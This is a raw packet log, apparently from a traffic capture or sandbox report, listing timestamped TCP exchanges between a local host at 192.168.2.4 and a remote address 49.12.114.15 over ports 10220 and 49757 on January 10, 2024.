Jan 10, 2024 15:49:21.477152109 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.477190018 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.477197886 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.477247953 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.477262974 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.477310896 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.477366924 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.477413893 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.477461100 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.477508068 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.477576017 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.477613926 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.477623940 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.477657080 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.477718115 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.477756023 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.477766037 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.477806091 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.477848053 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.477899075 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.477935076 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.477981091 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.478128910 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.478167057 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.478178978 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.478209972 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.478240013 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.478277922 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.478296041 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.478331089 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.478331089 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.478404045 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.478454113 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.478538036 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.478576899 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.478585005 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.478624105 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.478703976 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.478754997 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.478802919 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.478851080 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.478877068 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.478924036 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.478950977 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.478996992 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.479022026 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.479068041 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.479106903 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.479154110 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.479224920 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.479266882 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.479309082 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.479346991 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.479357004 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.479401112 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.479417086 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.479445934 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.479475021 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.479513884 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.479521990 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.479559898 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.479619980 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.479670048 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.479692936 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.479741096 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.479796886 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.479851007 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.479866982 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.479909897 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.479938030 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.480038881 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.480086088 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.480148077 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.480217934 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.480252028 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.480268955 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.480303049 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.480346918 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.480407000 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.480453968 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.480479002 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.480525017 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.480564117 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.480612040 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.480638027 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.480685949 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.480940104 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.480987072 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.480990887 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.481034994 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.481065035 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.481111050 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.481136084 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.481173992 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.481180906 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.481220007 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.481245041 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.481291056 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.481347084 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.481393099 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.481431007 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.481476068 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.481503010 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.481539965 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.481607914 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.481656075 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.481704950 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.481754065 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.481776953 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.481823921 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.482126951 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.482166052 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.482176065 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.482203960 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.482213974 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.482244015 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.482250929 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.482280970 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.482284069 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.482320070 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.482321978 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.482366085 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.482393026 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.482439041 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.482496977 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.482543945 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.482568979 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.482620955 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.482650995 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.482696056 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.482723951 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.482772112 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.482795954 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.482835054 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.482842922 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.482878923 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.482904911 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.482943058 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.482955933 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.482983112 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.483077049 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.483124018 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.483208895 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.483249903 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.483254910 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.483293056 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.483352900 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.483398914 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.483455896 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.483500004 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.483557940 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.483606100 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.483644009 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.483692884 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.483716965 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.483760118 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.483819008 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.483865976 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.483962059 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.484009027 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.484059095 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.484107018 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.484128952 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.484169960 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.484190941 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.484232903 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.484282017 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.484324932 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.484348059 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.484390974 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.484420061 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.484462023 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.484491110 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.484532118 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.484579086 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.484623909 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.484654903 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.484693050 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.484699011 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.484734058 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.484764099 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.484816074 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.484843016 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.484884977 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.484916925 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.484958887 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.484988928 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.485028982 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.485115051 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.485158920 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.485188961 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.485232115 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.485260963 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.485302925 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.485335112 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.485375881 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.485465050 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.485743046 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.661748886 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.661822081 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.661847115 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.661863089 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.661880970 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.661926985 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.661928892 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.661967039 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.662007093 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.662017107 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.662045956 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.662098885 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.662174940 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.662219048 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.662231922 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.662257910 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.662311077 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.662398100 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.662439108 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.662477970 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.662487984 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.662519932 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.662548065 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.662595034 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.662631989 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.662640095 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.662672043 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.662719011 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.662744045 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.662782907 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.662789106 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.662822962 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.662863970 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.662926912 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.662964106 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.663002968 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.663009882 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.663047075 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.663074017 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.663114071 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.663158894 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.663182974 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.663224936 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.663261890 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.663271904 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.663300037 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.663302898 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.663371086 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.663414955 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.663443089 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.663513899 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.663551092 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.663602114 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.663631916 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.663672924 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.663682938 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.663713932 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.663757086 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.663785934 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.663835049 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.663855076 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.663892984 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.663934946 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.663966894 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.664005995 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.664014101 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.664079905 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.664124012 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.664151907 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.664222002 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.664267063 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.664299965 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.664372921 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.664378881 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.664444923 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.664482117 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.664535999 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.664597034 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.664671898 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.664710045 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.664751053 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.664783955 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.664793968 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.664793968 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.664824963 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.664861917 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.664886951 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.664917946 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.664927006 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.664990902 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.665043116 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.665064096 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.665129900 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.665232897 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.665307045 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.665354967 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.665410042 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.665461063 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.665483952 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.665534973 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.665628910 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.665667057 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.665680885 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.665705919 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.665707111 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.665745974 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.665747881 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.665791035 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.665817976 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.665855885 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.665867090 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.665903091 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.665947914 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.665992975 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.666049957 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.666088104 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.666095972 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.666138887 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.666181087 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.666218996 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.666229010 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.666265965 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.666290998 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.666336060 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.666361094 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.666409969 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.666614056 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.666660070 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.666713953 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.666759014 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.666877985 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.666924000 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.666965008 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.667011023 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.667068958 CET	10220	49757	49.12.114.15	192.168.2.4
